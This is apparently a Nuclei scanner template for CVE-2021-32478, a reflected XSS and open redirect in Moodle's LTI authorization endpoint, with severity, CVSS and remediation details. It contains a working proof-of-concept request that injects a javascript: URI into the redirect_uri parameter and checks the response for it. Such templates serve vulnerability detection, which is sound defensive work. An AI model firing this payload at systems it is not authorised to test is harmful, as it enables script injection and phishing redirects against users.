Moodle versions 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8 contain a reflected XSS and open redirect caused by insufficient sanitization of the redirect URI in the LTI authorization endpoint, letting attackers execute scripts or redirect users maliciously, exploit requires crafted URL with malicious redirect URI.
PoC
id: CVE-2021-32478
info:
name: Moodle 3.8-3.10.3 - Reflected XSS & Open Redirect
author: hackergautam
severity: medium
description: |
Moodle versions 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8 contain a reflected XSS and open redirect caused by insufficient sanitization of the redirect URI in the LTI authorization endpoint, letting attackers execute scripts or redirect users maliciously, exploit requires crafted URL with malicious redirect URI.
impact: |
Attackers can inject malicious JavaScript or redirect users to malicious sites via insufficient sanitization in the redirect_uri parameter.
remediation: |
Upgrade to Moodle version 3.8.9, 3.9.7, or 3.10.4 or later.
reference:
- https://twitter.com/JacksonHHax/status/1391367064154042377
- https://nvd.nist.gov/vuln/detail/CVE-2021-32478
- https://moodle.org/mod/forum/discuss.php?d=422314
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-32478
cwe-id: CWE-79
epss-score: 0.01128
epss-percentile: 0.64712
cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: moodle
product: moodle
tags: cve,cve2021,moodle,xss,intrusive,vuln,vkev
http:
- method: GET
path:
- "{{BaseURL}}/mod/lti/auth.php?redirect_uri=javascript:alert('{{randstr}}')"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{randstr}}'
- '<form action="javascript:alert'
condition: and
- type: status
status:
- 200
- type: word
part: header
words:
- "text/html"
# digest: 4a0a0047304502204237cb465424a76f35f70c96dfb7f8fa2fef48a6e3c9fc1c8bf0d9f9eda4cbbc022100f5976b9e33e4cc65428033d764912b03c9604cfd8033e1343486f466e77fb28d:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.